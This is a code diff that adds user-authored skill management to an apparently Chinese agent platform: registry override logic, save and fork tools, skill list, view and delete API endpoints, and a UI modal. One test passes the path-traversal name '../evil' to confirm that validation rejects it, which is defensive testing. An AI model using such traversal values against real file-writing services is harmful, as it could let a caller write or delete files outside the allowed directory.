"""container_root=/sandbox/skills → header 用容器路径,且不漏 host 路径。"""
|
||||
registry = SkillRegistry(
|
||||
SkillSource(self.skills_dir, "builtin", "/sandbox/skills")
|
||||
)
|
||||
tool = LoadSkillTool(registry=registry)
|
||||
out = tool.execute(name="demo")
|
||||
self.assertIn("dir=/sandbox/skills/demo", out)
|
||||
# host 临时目录路径不应出现在 header(防止改写不彻底)
|
||||
host_path = str((self.skills_dir / "demo"))
|
||||
self.assertNotIn(host_path, out)
|
||||
# body 不变
|
||||
self.assertIn("# Demo body", out)
|
||||
|
||||
def test_docker_backend_strips_trailing_slash(self):
|
||||
"""container_skills_dir 带末尾斜杠 → 拼接路径不应出现双斜杠。"""
|
||||
tool = LoadSkillTool(
|
||||
registry=self.registry,
|
||||
container_skills_dir="/sandbox/skills/",
|
||||
"""container_root 带末尾斜杠 → 拼接路径不应出现双斜杠。"""
|
||||
registry = SkillRegistry(
|
||||
SkillSource(self.skills_dir, "builtin", "/sandbox/skills/")
|
||||
)
|
||||
tool = LoadSkillTool(registry=registry)
|
||||
out = tool.execute(name="demo")
|
||||
self.assertIn("dir=/sandbox/skills/demo", out)
|
||||
self.assertNotIn("//demo", out)
|
||||
|
||||
def test_unknown_skill_returns_error(self):
|
||||
tool = LoadSkillTool(registry=self.registry)
|
||||
registry = SkillRegistry(self.skills_dir)
|
||||
tool = LoadSkillTool(registry=registry)
|
||||
out = tool.execute(name="nonexistent")
|
||||
self.assertIn("not found", out)
|
||||
self.assertIn("demo", out) # available list
|
||||
|
|
|
|||
|
|
@ -0,0 +1,205 @@
|
|||
"""用户 skill: 多来源覆盖(user wins)、加载失败收集、save_skill / fork_skill。"""
|
||||
from __future__ import annotations
|
||||
|
||||
import tempfile
|
||||
import unittest
|
||||
from pathlib import Path
|
||||
|
||||
from core.skills import SkillRegistry, SkillSource
|
||||
from tools.skill_authoring import ForkSkillTool, SaveSkillTool
|
||||
|
||||
|
||||
def _write_skill(root: Path, name: str, desc: str, body: str = "body") -> Path:
|
||||
d = root / name
|
||||
d.mkdir(parents=True, exist_ok=True)
|
||||
(d / "SKILL.md").write_text(
|
||||
f"---\nname: {name}\ndescription: {desc}\n---\n\n# {name}\n\n{body}\n",
|
||||
encoding="utf-8",
|
||||
)
|
||||
return d
|
||||
|
||||
|
||||
class TestMultiSourceRegistry(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.tmp = tempfile.TemporaryDirectory()
|
||||
self.root = Path(self.tmp.name)
|
||||
self.builtin = self.root / "builtin"
|
||||
self.user = self.root / "user"
|
||||
self.builtin.mkdir()
|
||||
self.user.mkdir()
|
||||
|
||||
def tearDown(self):
|
||||
self.tmp.cleanup()
|
||||
|
||||
def _registry(self):
|
||||
return SkillRegistry([
|
||||
SkillSource(self.builtin, "builtin"),
|
||||
SkillSource(self.user, "user"),
|
||||
])
|
||||
|
||||
def test_user_overrides_builtin(self):
|
||||
_write_skill(self.builtin, "ppt", "内置 ppt")
|
||||
_write_skill(self.user, "ppt", "我的 ppt")
|
||||
reg = self._registry()
|
||||
self.assertEqual(reg.get("ppt").source, "user")
|
||||
self.assertEqual(reg.get("ppt").description, "我的 ppt")
|
||||
self.assertIn("ppt", reg.user_overrides)
|
||||
|
||||
def test_distinct_names_coexist(self):
|
||||
_write_skill(self.builtin, "ppt", "内置 ppt")
|
||||
_write_skill(self.user, "ppt-mine", "我的 ppt")
|
||||
reg = self._registry()
|
||||
self.assertEqual(reg.get("ppt").source, "builtin")
|
||||
self.assertEqual(reg.get("ppt-mine").source, "user")
|
||||
self.assertNotIn("ppt-mine", reg.user_overrides)
|
||||
|
||||
def test_discovery_block_tags_user_skills(self):
|
||||
_write_skill(self.builtin, "coding", "内置 coding")
|
||||
_write_skill(self.user, "ppt", "我的") # 不撞内置
|
||||
_write_skill(self.builtin, "ppt", "内置 ppt")
|
||||
reg = self._registry()
|
||||
block = reg.discovery_block()
|
||||
self.assertIn("[你的·已覆盖内置]", block) # user ppt 覆盖 builtin ppt
|
||||
|
||||
def test_bad_user_skill_collected_not_crash(self):
|
||||
_write_skill(self.builtin, "coding", "内置")
|
||||
# 用户 skill: 缺 description
|
||||
bad = self.user / "broken"
|
||||
bad.mkdir()
|
||||
(bad / "SKILL.md").write_text("---\nname: broken\n---\nbody", encoding="utf-8")
|
||||
reg = self._registry()
|
||||
self.assertIn("coding", reg.skills) # 没崩,内置正常
|
||||
self.assertNotIn("broken", reg.skills) # 坏的没收
|
||||
self.assertTrue(any(n == "broken" for n, _ in reg.load_errors))
|
||||
self.assertIn("未加载", reg.discovery_block())
|
||||
|
||||
def test_bad_yaml_user_skill_collected(self):
|
||||
bad = self.user / "badyaml"
|
||||
bad.mkdir()
|
||||
(bad / "SKILL.md").write_text("---\nname: [unclosed\n---\nbody", encoding="utf-8")
|
||||
reg = self._registry()
|
||||
self.assertTrue(any(n == "badyaml" for n, _ in reg.load_errors))
|
||||
|
||||
def test_missing_user_dir_is_noop(self):
|
||||
_write_skill(self.builtin, "coding", "内置")
|
||||
reg = SkillRegistry([
|
||||
SkillSource(self.builtin, "builtin"),
|
||||
SkillSource(self.root / "does-not-exist", "user"),
|
||||
])
|
||||
self.assertIn("coding", reg.skills)
|
||||
self.assertEqual(reg.load_errors, [])
|
||||
|
||||
|
||||
class TestSaveSkillTool(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.tmp = tempfile.TemporaryDirectory()
|
||||
self.root = Path(self.tmp.name)
|
||||
self.user_skills = self.root / ".skills"
|
||||
self.builtin = self.root / "builtin"
|
||||
self.builtin.mkdir()
|
||||
|
||||
def tearDown(self):
|
||||
self.tmp.cleanup()
|
||||
|
||||
def _tool(self):
|
||||
reg = SkillRegistry([
|
||||
SkillSource(self.builtin, "builtin"),
|
||||
SkillSource(self.user_skills, "user"),
|
||||
])
|
||||
return SaveSkillTool(self.user_skills, reg)
|
||||
|
||||
def test_save_writes_file(self):
|
||||
out = self._tool().execute(
|
||||
name="mine",
|
||||
content="---\nname: mine\ndescription: 我的 skill\n---\n\n# Mine\n",
|
||||
)
|
||||
self.assertIn("saved", out)
|
||||
self.assertTrue((self.user_skills / "mine" / "SKILL.md").exists())
|
||||
|
||||
def test_reject_bad_name(self):
|
||||
out = self._tool().execute(name="../evil", content="---\ndescription: x\n---\n")
|
||||
self.assertIn("[Error]", out)
|
||||
self.assertFalse((self.user_skills / "../evil").exists())
|
||||
|
||||
def test_reject_missing_description(self):
|
||||
out = self._tool().execute(name="mine", content="---\nname: mine\n---\nbody")
|
||||
self.assertIn("[Error]", out)
|
||||
self.assertIn("description", out)
|
||||
|
||||
def test_reject_bad_yaml(self):
|
||||
out = self._tool().execute(name="mine", content="---\nname: [bad\n---\nbody")
|
||||
self.assertIn("[Error]", out)
|
||||
|
||||
def test_reject_name_mismatch(self):
|
||||
out = self._tool().execute(
|
||||
name="mine",
|
||||
content="---\nname: other\ndescription: x\n---\n",
|
||||
)
|
||||
self.assertIn("[Error]", out)
|
||||
self.assertIn("不一致", out)
|
||||
|
||||
def test_warns_on_builtin_override(self):
|
||||
_write_skill(self.builtin, "ppt", "内置 ppt")
|
||||
out = self._tool().execute(
|
||||
name="ppt",
|
||||
content="---\nname: ppt\ndescription: 我的 ppt\n---\n",
|
||||
)
|
||||
self.assertIn("saved", out)
|
||||
self.assertIn("覆盖内置", out)
|
||||
|
||||
|
||||
class TestForkSkillTool(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.tmp = tempfile.TemporaryDirectory()
|
||||
self.root = Path(self.tmp.name)
|
||||
self.user_skills = self.root / ".skills"
|
||||
self.builtin = self.root / "builtin"
|
||||
self.builtin.mkdir()
|
||||
# 带脚本的内置 skill
|
||||
d = _write_skill(self.builtin, "ppt", "内置 ppt")
|
||||
(d / "scripts").mkdir()
|
||||
(d / "scripts" / "helper.py").write_text("X = 1\n", encoding="utf-8")
|
||||
|
||||
def tearDown(self):
|
||||
self.tmp.cleanup()
|
||||
|
||||
def _tool(self):
|
||||
reg = SkillRegistry([
|
||||
SkillSource(self.builtin, "builtin"),
|
||||
SkillSource(self.user_skills, "user"),
|
||||
])
|
||||
return ForkSkillTool(self.user_skills, reg)
|
||||
|
||||
def test_fork_copies_scripts_and_renames(self):
|
||||
out = self._tool().execute(src="ppt", new_name="ppt-mine")
|
||||
self.assertIn("forked", out)
|
||||
dest = self.user_skills / "ppt-mine"
|
||||
self.assertTrue((dest / "scripts" / "helper.py").exists()) # 脚本带过来
|
||||
md = (dest / "SKILL.md").read_text(encoding="utf-8")
|
||||
self.assertIn("name: ppt-mine", md) # frontmatter name 对齐新名
|
||||
self.assertNotIn("name: ppt\n", md)
|
||||
|
||||
def test_forked_renamed_skill_does_not_shadow_builtin(self):
|
||||
self._tool().execute(src="ppt", new_name="ppt-mine")
|
||||
reg = SkillRegistry([
|
||||
SkillSource(self.builtin, "builtin"),
|
||||
SkillSource(self.user_skills, "user"),
|
||||
])
|
||||
# 改了名,内置 ppt 不被遮,新名独立存在
|
||||
self.assertEqual(reg.get("ppt").source, "builtin")
|
||||
self.assertEqual(reg.get("ppt-mine").source, "user")
|
||||
|
||||
def test_reject_existing_dest(self):
|
||||
self._tool().execute(src="ppt", new_name="ppt-mine")
|
||||
out = self._tool().execute(src="ppt", new_name="ppt-mine")
|
||||
self.assertIn("[Error]", out)
|
||||
self.assertIn("已存在", out)
|
||||
|
||||
def test_reject_unknown_src(self):
|
||||
out = self._tool().execute(src="nope", new_name="x")
|
||||
self.assertIn("[Error]", out)
|
||||
self.assertIn("不存在", out)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
|
|
@ -0,0 +1,178 @@
|
|||
"""用户 skill 创作工具: save_skill / fork_skill。
|
||||
|
||||
为什么是 host-side typed tool(而非让 agent 用 fs/shell 写):
|
||||
- fs/shell 的 base_dir 锚在进程 cwd(host)或容器 workdir(docker),**都不指向**
|
||||
`user_root/.skills` —— 用相对路径写 `.skills` 只在 docker 下碰巧成立,host 下会
|
||||
写错地方,跨 backend 不可靠。
|
||||
- host-side 工具直接知道 `user_root/.skills`,一个落点两种 backend 通吃(与
|
||||
seedream / DocumentDownload 直接 host 侧写 working_dir 完全一致的范式)。
|
||||
- docker 下 user_root 整个 bind 到 /workspace,host 侧写进 .skills 的文件在容器内
|
||||
`/workspace/.skills/...` 自动可见(fork 带过来的脚本随之可跑)。
|
||||
|
||||
这两个工具不在 `executor_docker.CONTAINER_TOOLS` 里,故恒在 host 侧执行。
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
import shutil
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from core.skills import SkillRegistry, parse_frontmatter
|
||||
|
||||
from .base import Tool
|
||||
|
||||
# skill 名:小写字母 / 数字开头,可含 _ -,≤64。挡住路径穿越(`../`、`/`)、空格、大写。
|
||||
_SKILL_NAME_RE = re.compile(r"^[a-z0-9][a-z0-9_-]{0,63}$")
|
||||
_FRONTMATTER_RE = re.compile(r"^---\n(.*?)\n---\n?", re.DOTALL)
|
||||
|
||||
|
||||
def _validate_skill_name(name: str) -> Optional[str]:
|
||||
"""返回错误串(不合法)或 None(合法)。"""
|
||||
if not name or not _SKILL_NAME_RE.match(name):
|
||||
return (
|
||||
f"skill 名 '{name}' 不合法:须小写字母/数字开头,只含小写字母、数字、_ 、-,"
|
||||
"长度 ≤64(用于目录名,故挡空格 / 大写 / 路径分隔符)"
|
||||
)
|
||||
return None
|
||||
|
||||
|
||||
def _set_frontmatter_name(text: str, new_name: str) -> str:
|
||||
"""把 markdown frontmatter 里的 name 改成 new_name(只动 name 行,不重排其余字段)。
|
||||
|
||||
fork 后复制来的 SKILL.md 仍带原 skill 的 `name:`,不改的话注册时会用旧名 →
|
||||
与被 fork 的内置同名、反而覆盖了内置。故 fork 落盘后必须把 name 对齐到 new_name。
|
||||
"""
|
||||
m = _FRONTMATTER_RE.match(text)
|
||||
if not m:
|
||||
return f"---\nname: {new_name}\n---\n\n" + text
|
||||
fm = m.group(1)
|
||||
if re.search(r"(?m)^name:", fm):
|
||||
fm = re.sub(r"(?m)^name:.*$", f"name: {new_name}", fm, count=1)
|
||||
else:
|
||||
fm = f"name: {new_name}\n" + fm
|
||||
return f"---\n{fm}\n---\n" + text[m.end():]
|
||||
|
||||
|
||||
class SaveSkillTool(Tool):
|
||||
name = "save_skill"
|
||||
description = (
|
||||
"Create or overwrite one of the USER's own skills at .skills/<name>/SKILL.md. "
|
||||
"Use to author a skill from scratch or save an edited copy. The content must be a "
|
||||
"full SKILL.md with YAML frontmatter containing `name` and `description` "
|
||||
"(description is the routing blurb shown in the skill list — make it specific: "
|
||||
"trigger words + when NOT to use). Takes effect from the user's NEXT message. "
|
||||
"To copy a built-in skill that bundles scripts (e.g. ppt), use fork_skill instead "
|
||||
"so the scripts come along."
|
||||
)
|
||||
parameters = {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"name": {
|
||||
"type": "string",
|
||||
"description": "Skill name = directory name (lowercase, [a-z0-9_-], <=64). "
|
||||
"Same name as a built-in => overrides it for this user; pick a new name to keep both.",
|
||||
},
|
||||
"content": {
|
||||
"type": "string",
|
||||
"description": "Full SKILL.md text including --- frontmatter --- (name + description).",
|
||||
},
|
||||
},
|
||||
"required": ["name", "content"],
|
||||
}
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
user_skills_dir: Path,
|
||||
registry: SkillRegistry,
|
||||
base_dir: Optional[Path] = None,
|
||||
user_root: Optional[Path] = None,
|
||||
) -> None:
|
||||
super().__init__(base_dir, user_root=user_root)
|
||||
self.user_skills_dir = Path(user_skills_dir)
|
||||
self.registry = registry
|
||||
|
||||
def execute(self, name: str, content: str) -> str:
|
||||
err = _validate_skill_name(name)
|
||||
if err is not None:
|
||||
return f"[Error] {err}"
|
||||
# frontmatter 必须合法且有 description —— 写时就挡住"加载失败"黑洞
|
||||
try:
|
||||
meta, _ = parse_frontmatter(content)
|
||||
except Exception as e: # yaml.YAMLError 等
|
||||
return f"[Error] frontmatter YAML 非法,无法保存:{e}"
|
||||
if not (meta.get("description") or "").strip():
|
||||
return "[Error] frontmatter 缺 description —— 这是 skill 列表里的路由说明,必填(写清触发词 + 何时别用)"
|
||||
fm_name = (meta.get("name") or "").strip()
|
||||
if fm_name and fm_name != name:
|
||||
return (
|
||||
f"[Error] frontmatter 里 name='{fm_name}' 与目标名 '{name}' 不一致 —— "
|
||||
"请改成一致(或省略 frontmatter 的 name,默认用目录名)"
|
||||
)
|
||||
skill_dir = self.user_skills_dir / name
|
||||
skill_dir.mkdir(parents=True, exist_ok=True)
|
||||
(skill_dir / "SKILL.md").write_text(content, encoding="utf-8")
|
||||
builtin = self.registry.get(name)
|
||||
note = ""
|
||||
if builtin is not None and builtin.source == "builtin":
|
||||
note = f" (注意:与内置 skill '{name}' 同名,你这条将覆盖内置;想并存请改名)"
|
||||
return f"[saved skill '{name}' to .skills/{name}/SKILL.md,下条消息生效]{note}"
|
||||
|
||||
|
||||
class ForkSkillTool(Tool):
|
||||
name = "fork_skill"
|
||||
description = (
|
||||
"Copy an existing skill (built-in or one of the user's own) — INCLUDING its bundled "
|
||||
"scripts/assets — into the user's .skills/<new_name>/, so they can customize it. "
|
||||
"This is the right way to 'copy zcbot's ppt skill and tweak it': fork first, then "
|
||||
"edit the copied SKILL.md (with the edit tool or save_skill). The new copy's "
|
||||
"frontmatter name is auto-set to new_name. Takes effect from the user's NEXT message."
|
||||
)
|
||||
parameters = {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"src": {"type": "string", "description": "Name of the skill to copy (as listed in the skill discovery block)."},
|
||||
"new_name": {
|
||||
"type": "string",
|
||||
"description": "New skill name (lowercase, [a-z0-9_-], <=64). Must not already exist under .skills/.",
|
||||
},
|
||||
},
|
||||
"required": ["src", "new_name"],
|
||||
}
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
user_skills_dir: Path,
|
||||
registry: SkillRegistry,
|
||||
base_dir: Optional[Path] = None,
|
||||
user_root: Optional[Path] = None,
|
||||
) -> None:
|
||||
super().__init__(base_dir, user_root=user_root)
|
||||
self.user_skills_dir = Path(user_skills_dir)
|
||||
self.registry = registry
|
||||
|
||||
def execute(self, src: str, new_name: str) -> str:
|
||||
err = _validate_skill_name(new_name)
|
||||
if err is not None:
|
||||
return f"[Error] {err}"
|
||||
skill = self.registry.get(src)
|
||||
if skill is None:
|
||||
available = ", ".join(self.registry.skills.keys()) or "(none)"
|
||||
return f"[Error] 源 skill '{src}' 不存在。可选:{available}"
|
||||
dest = self.user_skills_dir / new_name
|
||||
if dest.exists():
|
||||
return f"[Error] .skills/{new_name}/ 已存在 —— 换个名字,或先删旧的"
|
||||
self.user_skills_dir.mkdir(parents=True, exist_ok=True)
|
||||
# copytree 整目录(SKILL.md + scripts/ + references/ + assets/ 一并带过来)
|
||||
shutil.copytree(skill.skill_dir, dest)
|
||||
md = dest / "SKILL.md"
|
||||
n_files = sum(1 for _ in dest.rglob("*") if _.is_file())
|
||||
if md.exists():
|
||||
md.write_text(
|
||||
_set_frontmatter_name(md.read_text(encoding="utf-8"), new_name),
|
||||
encoding="utf-8",
|
||||
)
|
||||
return (
|
||||
f"[forked '{src}' → .skills/{new_name}/ ({n_files} 个文件,frontmatter name 已设为 "
|
||||
f"'{new_name}'),下条消息生效。现在可以编辑 .skills/{new_name}/SKILL.md 改造它]"
|
||||
)
|
||||
|
|
@ -36,16 +36,9 @@ class LoadSkillTool(Tool):
|
|||
registry: SkillRegistry,
|
||||
base_dir: Optional[Path] = None,
|
||||
user_root: Optional[Path] = None,
|
||||
container_skills_dir: Optional[str] = None,
|
||||
) -> None:
|
||||
super().__init__(base_dir, user_root=user_root)
|
||||
self.registry = registry
|
||||
# docker backend 下,fs / shell / run_python 都在容器里跑,host skills/ bind
|
||||
# mount 到 /sandbox/skills:ro(pool.py)。header 里的 dir 要给容器内可用路径
|
||||
# —— 否则 LLM 拿 host 绝对路径(`/home/.../skills/<name>`)去 read references
|
||||
# 时容器看不见,抓瞎报 file not found。POSIX 串(容器恒为 Linux),与 host OS 无关。
|
||||
# None = host backend,保持 skill.skill_dir 原 host 绝对路径。
|
||||
self.container_skills_dir = container_skills_dir
|
||||
|
||||
def execute(self, name: str) -> str:
|
||||
skill = self.registry.get(name)
|
||||
|
|
@ -53,9 +46,10 @@ class LoadSkillTool(Tool):
|
|||
available = ", ".join(self.registry.skills.keys()) or "(none)"
|
||||
return f"[Error] skill '{name}' not found. Available: {available}"
|
||||
body = skill.full_content()
|
||||
if self.container_skills_dir is not None:
|
||||
dir_str = f"{self.container_skills_dir.rstrip('/')}/{skill.name}"
|
||||
else:
|
||||
dir_str = str(skill.skill_dir)
|
||||
# docker backend 下 fs/shell/run_python 都在容器里跑,skill 目录按来源 bind 到
|
||||
# 不同挂载点(内置 → /sandbox/skills:ro,用户 → /workspace/.skills);registry
|
||||
# 据 skill.source 给容器内路径,否则 LLM 拿 host 绝对路径在沙盒里 read 不到
|
||||
# references。host backend → None,退回 skill_dir 原 host 绝对路径。
|
||||
dir_str = self.registry.container_dir(skill) or str(skill.skill_dir)
|
||||
header = f"[skill={skill.name}, dir={dir_str}]\n"
|
||||
return header + body
|
||||
|
|
|
|||
78
web/app.py
78
web/app.py
|
|
@ -1129,25 +1129,77 @@ def create_app() -> FastAPI:
|
|||
|
||||
@app.get("/v1/skills", tags=["skills"])
|
||||
def list_skills(user_id: UUID = Depends(require_user)):
|
||||
"""列出当前可用的 skill(智能体类型),供新建 task 时下拉选择。
|
||||
"""列出当前用户可用的 skill(内置 + 自己的),供新建 task 时下拉选择。
|
||||
|
||||
每次请求现扫 `skills/<name>/SKILL.md` frontmatter(~9 个文件,稳态 ~3ms),
|
||||
以便加 / 改 / 删 skill 目录后无需重启 web 即可在前端下拉看到。
|
||||
`core/agent_builder.py::build_agent` 同样每次新建 SkillRegistry,
|
||||
所以 agent 内部 `load_skill` 工具与 system prompt discovery 也是热的。
|
||||
排序按 name 升序(registry 内部 iterdir + sorted)。
|
||||
每次请求现扫(内置 `skills/<name>/SKILL.md` + 用户 `.skills/<name>/SKILL.md`,
|
||||
稳态 ~3ms),加 / 改 / 删 skill 目录后无需重启即可在前端看到。
|
||||
`core/agent_builder.py::build_agent` 同样每次新建 SkillRegistry,所以 agent 内部
|
||||
`load_skill` 与 system prompt discovery 也是热的。源标 `source`(builtin/user)+
|
||||
`overrides_builtin`(用户 skill 覆盖了同名内置)。`load_errors` 列出用户 skill
|
||||
因 frontmatter 问题未加载的,供前端提示。
|
||||
"""
|
||||
from core.agent_builder import load_config
|
||||
from core.paths import ROOT
|
||||
from core.skills import SkillRegistry
|
||||
from core.agent_builder import build_skill_registry, load_config, resolve_workspace
|
||||
cfg = load_config()
|
||||
reg = SkillRegistry(ROOT / cfg.get("skills_dir", "skills"))
|
||||
ws = resolve_workspace(None, cfg)
|
||||
reg = build_skill_registry(cfg, ws, user_id, docker=False)
|
||||
return {
|
||||
"skills": [
|
||||
{"name": s.name, "description": s.description}
|
||||
for s in reg.skills.values()
|
||||
]
|
||||
{
|
||||
"name": s.name,
|
||||
"description": s.description,
|
||||
"source": s.source,
|
||||
"overrides_builtin": s.name in reg.user_overrides,
|
||||
}
|
||||
for s in reg.skills.values()
|
||||
],
|
||||
"load_errors": [{"name": n, "reason": r} for n, r in reg.load_errors],
|
||||
}
|
||||
|
||||
@app.get("/v1/skills/{name}", tags=["skills"])
|
||||
def get_skill(name: str, user_id: UUID = Depends(require_user)):
|
||||
"""返回某 skill 的完整 SKILL.md 正文(供前端 modal 展开查看)。
|
||||
|
||||
内置 + 用户两来源都可查;同名时按 user wins 取用户那份(与 agent 看到的一致)。
|
||||
"""
|
||||
from core.agent_builder import build_skill_registry, load_config, resolve_workspace
|
||||
cfg = load_config()
|
||||
ws = resolve_workspace(None, cfg)
|
||||
reg = build_skill_registry(cfg, ws, user_id, docker=False)
|
||||
skill = reg.get(name)
|
||||
if skill is None:
|
||||
raise HTTPException(404, f"skill not found: {name!r}")
|
||||
try:
|
||||
content = skill.full_content()
|
||||
except OSError as e:
|
||||
raise HTTPException(500, f"读取 SKILL.md 失败: {e}")
|
||||
return {
|
||||
"name": skill.name,
|
||||
"source": skill.source,
|
||||
"overrides_builtin": skill.name in reg.user_overrides,
|
||||
"content": content,
|
||||
}
|
||||
|
||||
@app.delete("/v1/skills/{name}", status_code=204, tags=["skills"])
|
||||
def delete_skill(name: str, user_id: UUID = Depends(require_user)):
|
||||
"""删除当前用户的私有 skill(`.skills/<name>/` 整目录)。
|
||||
|
||||
只能删 user 源 —— 内置 skill 不可删(404,等同"用户那里没有这个可删的")。
|
||||
`.skills` 在文件面板隐藏,这是 UI 上删除自己 skill 的唯一入口。
|
||||
"""
|
||||
import shutil
|
||||
from core.agent_builder import build_skill_registry, load_config, resolve_workspace, user_root
|
||||
cfg = load_config()
|
||||
ws = resolve_workspace(None, cfg)
|
||||
reg = build_skill_registry(cfg, ws, user_id, docker=False)
|
||||
skill = reg.get(name)
|
||||
if skill is None or skill.source != "user":
|
||||
raise HTTPException(404, f"no user skill to delete: {name!r}")
|
||||
# 防穿越:目标必须落在该用户的 .skills 子树内(skill_dir 来自扫描,理应如此,仍兜一层)
|
||||
user_skills_dir = (user_root(ws, user_id) / ".skills").resolve()
|
||||
target = skill.skill_dir.resolve()
|
||||
if user_skills_dir not in target.parents:
|
||||
raise HTTPException(400, "拒绝删除 .skills 之外的路径")
|
||||
shutil.rmtree(target)
|
||||
|
||||
@app.delete("/v1/tasks/{task_id}", status_code=204, tags=["tasks"])
|
||||
def delete_task(task_id: str, user_id: UUID = Depends(require_user)):
|
||||
|
|
|
|||
|
|
@ -13,8 +13,8 @@
|
|||
bcrypt + INSERT users;撤用户 `DELETE FROM users WHERE email=...`(messages CASCADE,
|
||||
tasks 通过 FK 拦,要先 DELETE 该 user 的 tasks)。
|
||||
|
||||
OIDC(D')替换:只动 `/v1/auth/login` 实现(校验 ID token 代替 key);password 路径
|
||||
真发布时下线。
|
||||
OIDC(D')替换:只动 `/v1/auth/login` 实现(校验 ID token 代替 key);**邮箱密码路径
|
||||
长期保留,与 OIDC 并存**(自有账号 + 同事试用不依赖外部 IdP)。
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
|
|
|
|||
|
|
@ -200,6 +200,66 @@
|
|||
display: flex; gap: 8px; justify-content: flex-end;
|
||||
}
|
||||
|
||||
/* ───── 左侧 rail 底部「我的资源」入口(技能,后续可加记忆)───── */
|
||||
#rail-resources {
|
||||
flex-shrink: 0; border-top: 1px solid var(--border);
|
||||
padding: 8px; display: flex; gap: 6px;
|
||||
}
|
||||
#rail-resources > button { flex: 1; font-size: 13px; }
|
||||
|
||||
/* ───── 技能查看 modal ───── */
|
||||
#skills-modal { z-index: 112; }
|
||||
#skills-modal .card {
|
||||
width: 720px; max-width: 92vw; max-height: 84vh;
|
||||
display: flex; flex-direction: column;
|
||||
}
|
||||
#skills-modal h3 {
|
||||
margin: 0; padding: 12px 16px; font-size: 16px;
|
||||
border-bottom: 1px solid var(--border);
|
||||
display: flex; align-items: center; gap: 8px;
|
||||
}
|
||||
#skills-modal h3 .spacer { flex: 1; }
|
||||
#skills-modal .sk-x {
|
||||
border: none; background: transparent; font-size: 16px;
|
||||
cursor: pointer; color: var(--muted); padding: 2px 6px;
|
||||
}
|
||||
#skills-modal #sk-back { margin-right: 4px; }
|
||||
#skills-modal .sk-detail-name { font-weight: 600; }
|
||||
#skills-modal .body { padding: 12px 16px; overflow: auto; }
|
||||
.sk-group-title { font-weight: 600; font-size: 12px; color: var(--muted); margin: 0 0 8px; }
|
||||
.sk-item {
|
||||
display: flex; align-items: center; gap: 10px;
|
||||
padding: 8px 10px; border: 1px solid var(--border);
|
||||
border-radius: var(--r-md); margin-bottom: 6px; cursor: pointer;
|
||||
}
|
||||
.sk-item:hover { border-color: var(--accent); background: #fafafa; }
|
||||
.sk-item-main { flex: 1; min-width: 0; }
|
||||
.sk-item .sk-name { font-weight: 600; font-size: 13px; }
|
||||
.sk-item .sk-desc {
|
||||
font-size: 12px; color: var(--muted); margin-top: 2px;
|
||||
overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
|
||||
}
|
||||
.sk-badge {
|
||||
font-size: 10px; font-weight: 500; color: var(--accent);
|
||||
border: 1px solid var(--accent); border-radius: 8px; padding: 0 5px;
|
||||
margin-left: 4px; white-space: nowrap;
|
||||
}
|
||||
.sk-del { flex-shrink: 0; }
|
||||
.sk-loaderr {
|
||||
margin-top: 14px; padding: 8px 10px; font-size: 12px;
|
||||
border: 1px solid var(--accent); border-radius: var(--r-md);
|
||||
color: var(--accent); background: rgba(220,80,80,0.05);
|
||||
}
|
||||
.sk-detail { font-size: 13px; line-height: 1.6; }
|
||||
.sk-detail pre {
|
||||
white-space: pre-wrap; word-break: break-word;
|
||||
background: #f5f5f5; padding: 10px; border-radius: var(--r-md); overflow: auto;
|
||||
}
|
||||
.sk-detail code { word-break: break-word; }
|
||||
.sk-detail h1, .sk-detail h2, .sk-detail h3 { margin: 14px 0 6px; }
|
||||
.sk-detail table { border-collapse: collapse; }
|
||||
.sk-detail th, .sk-detail td { border: 1px solid var(--border); padding: 4px 8px; }
|
||||
|
||||
/* ───── 3-pane layout ───── */
|
||||
#app { display: none; height: 100vh; }
|
||||
#app.ready {
|
||||
|
|
@ -990,6 +1050,18 @@
|
|||
</div>
|
||||
</div>
|
||||
|
||||
<!-- ───── 技能查看 modal ───── -->
|
||||
<div id="skills-modal" class="modal">
|
||||
<div class="card">
|
||||
<h3>
|
||||
<span id="sk-title">技能</span>
|
||||
<span class="spacer"></span>
|
||||
<button id="sk-close" class="sk-x" title="关闭">✕</button>
|
||||
</h3>
|
||||
<div class="body" id="sk-body"><div class="muted" style="padding:8px;">加载中…</div></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- ───── embed-mode waiting overlay (token 握手中) ───── -->
|
||||
<div id="embed-waiting">
|
||||
<div class="spinner"></div>
|
||||
|
|
@ -1056,6 +1128,9 @@
|
|||
<div id="task-list"><div class="empty">加载中…</div></div>
|
||||
<div id="task-sentinel" style="padding:10px 12px;font-size:11px;color:var(--muted);text-align:center;min-height:1px;"></div>
|
||||
</div>
|
||||
<div id="rail-resources" title="我的资源">
|
||||
<button id="hd-skills" title="查看平台 / 我的 skill">🧩 技能</button>
|
||||
</div>
|
||||
</div>
|
||||
<div id="split-left" class="splitter" role="separator" aria-orientation="vertical" title="拖拽调整任务栏宽度"></div>
|
||||
|
||||
|
|
|
|||
|
|
@ -6,6 +6,7 @@ import { humanSize, fmtTime } from "./format.js";
|
|||
import { $ } from "./dom.js";
|
||||
import { api } from "./api.js";
|
||||
import { closeChpwModal } from "./auth.js";
|
||||
import { closeSkillsModal } from "./skills.js";
|
||||
import { closeFilePreview, closeMiniPreview } from "./preview.js";
|
||||
import { closeSrcPicker, loadFiles } from "./files.js";
|
||||
import { loadFolderSuggestions } from "./newtask.js";
|
||||
|
|
@ -58,6 +59,7 @@ document.addEventListener("keydown", (e) => {
|
|||
if (e.key !== "Escape") return;
|
||||
// 多模态共存:优先关靠前栈顶 — 小预览(z 96)→ 选入(z 95)→ 文件预览(z 90)→ 新任务(z 80)
|
||||
if ($("chpw-modal").classList.contains("show")) { closeChpwModal(); return; }
|
||||
if ($("skills-modal").classList.contains("show")) { closeSkillsModal(); return; }
|
||||
if ($("mini-preview-modal").classList.contains("show")) { closeMiniPreview(); return; }
|
||||
if ($("src-picker-modal").classList.contains("show")) { closeSrcPicker(); return; }
|
||||
if ($("file-preview-modal").classList.contains("show")) { closeFilePreview(); return; }
|
||||
|
|
|
